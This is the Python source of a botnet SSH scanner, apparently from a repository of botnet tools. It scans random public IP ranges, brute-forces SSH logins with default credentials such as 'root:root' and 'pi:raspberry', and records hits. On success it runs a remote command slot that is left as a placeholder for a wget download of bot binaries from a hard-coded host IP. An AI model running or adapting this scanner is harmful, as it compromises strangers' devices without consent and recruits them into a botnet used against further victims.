Path: blob/master/Botnets/Scanning/AUTOSCANNER/Botnet2.py
5038 views
#!/usr/bin/env python1# -*- coding: utf-8 -*-23# ulimit -n 999999; ulimit -u 9999994# sysctl -w fs.file-max=1000005# python botnet.py 376 LUCKY x 0 (LUCKY RANGES)6# python botnet.py 376 B 113.53 1 (SCANNER EXAMPLE)7# python botnet.py 376 RAND x all (IP RANDOMIZATION)8# 113.53, 125.26, 125.27, 125,910import threading, paramiko, random, socket, time, sys1112paramiko.util.log_to_file("/dev/null") # silents spam of paramiko1314files = [ # Binary names1516"mipsel",17"mips",18"sh4",19"x86_64",20"armv6l",21"i686",22"powerpc",23"i586",24"m86k",25"sparc",2627]2829website = "185.112.249.253" # Binary Host IP3031reservedips = [32'http://127.',33'http://0',34'http://10.',35'http://100.64',36'http://100.65',37'http://100.66',38'http://100.67',39'http://100.68',40'http://100.69',41'http://100.70',42'http://100.71',43'http://100.72',44'http://100.73',45'http://100.74',46'http://100.75',47'http://100.76',48'http://100.77',49'http://100.78',50'http://100.79',51'http://100.80',52'http://100.81',53'http://100.82',54'http://100.83',55'http://100.84',56'http://100.85',57'http://100.86',58'http://100.87',59'http://100.88',60'http://100.89',61'http://100.90',62'http://100.91',63'http://100.92',64'http://100.93',65'http://100.94',66'http://100.95',67'http://100.96',68'http://100.97',69'http://100.98',70'http://100.99',71'http://100.100',72'http://100.101',73'http://100.102',74'http://100.103',75'http://100.104',76'http://100.105',77'http://100.106',78'http://100.107',79'http://100.108',80'http://100.109',81'http://100.110',82'http://100.111',83'http://100.112',84'http://100.113',85'http://100.114',86'http://100.115',87'http://100.116',88'http://100.117',89'http://100.118',90'http://100.119',91'http://100.120',92'http://100.121',93'http://100.122',94'http://100.123',95'http://100.124',96'http://100.125',97'http://100.126',98'http://100.127',99'http://169.254',100'http://172.16.',101'http://172.17.',102'http://172.18.',103'http://172.19.',104'http://172.20.',105'http://172.21.',106'http://172.22.',107'http://172.23.',108'http://172.24.',109'http://172.25.',110'http://172.26.',111'http://172.27.',112'http://172.28.',113'http://172.29.',114'http://172.30.',115'http://172.32.',116'http://192.0.0.0',117'http://192.0.0.1',118'http://192.0.0.2',119'http://192.0.0.3',120'http://192.0.0.4',121'http://192.0.0.5',122'http://192.0.0.6',123'http://192.0.0.7',124'http://192.0.2.',125'http://192.88.99.',126'http://192.168.',127'http://198.18.',128'http://198.19.',129'http://198.51.100.',130'http://203.0.113.',131'http://224.',132'http://225'133]134135136passwords = [ # perls/la137"root:root",138"root:admin",139"admin:admin",140"ubnt:ubnt"141"root:1234",142"admin:1234",143"guest:guest",144"user:user",145"test:test",146"pi:raspberry",147"vagrant:vagrant"148]149150151print sys.argv[0]+' <Threads(MAX: 376)> <A/B/C/ (IP Class)> <Range> <1(slow but effective)/2(fast but less effective)/perl(scans for perlbots/all(scans for everything!>'152153if sys.argv[4] == '1':154passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective155if sys.argv[4] == '2':156passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective157if sys.argv[4] == 'perl':158passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner159if sys.argv[4] == 'all':160passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow161162ipclassinfo = sys.argv[2]163if ipclassinfo == "A":164ip1 = sys.argv[3]165elif ipclassinfo == "B":166ip1 = sys.argv[3].split(".")[0]167ip2 = sys.argv[3].split(".")[1]168elif ipclassinfo == "C":169ips = sys.argv[3].split(".")170num=0171for ip in ips:172num=num+1173if num == 1:174ip1 = ip175elif num == 2:176ip2 = ip177elif num == 3:178ip3 = ip179class sshscanner(threading.Thread):180global passwords181global ipclassinfo182if ipclassinfo == "A":183global ip1184elif ipclassinfo == "B":185global ip1186global ip2187elif ipclassinfo == "C":188global ip1189global ip2190global ip3191def run(self):192while 1:193try:194while 1:195thisipisbad='no'196if ipclassinfo == "A":197self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))198elif ipclassinfo == "B":199self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))200elif ipclassinfo == "C":201self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))202elif ipclassinfo == "LUCKY":203lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","125.17"]204self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))205else:206self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))207for badip in reservedips:208if badip in self.host:209thisipisbad='yes'210if thisipisbad=='no':211break212self.host=self.host.replace('http://', '')213username='root'214password="0"215port = 22216s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)217s.settimeout(3)218s.connect((self.host, port))219s.close()220ssh = paramiko.SSHClient()221ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())222dobreak=False223for passwd in passwords:224if ":n/a" in passwd:225password=""226else:227password=passwd.split(":")[1]228if "n/a:" in passwd:229username=""230else:231username=passwd.split(":")[0]232try:233ssh.connect(self.host, port = port, username=username, password=password, timeout=3)234dobreak=True235break236except:237pass238if True == dobreak:239break240badserver=True241stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")242output = stdout.read()243if "inet addr" in output:244badserver=False245websites = [ ]246if badserver == False:247print 'Adding:'+username+'<'+password+'>'+self.host+'|'+str(port)248ssh.exec_command("put ur wget here ignore the shit up top.") #la249250time.sleep(15)251ssh.close()252except:253pass254255for x in range(0,int(sys.argv[1])):256try:257t = sshscanner()258t.start()259except:260pass261262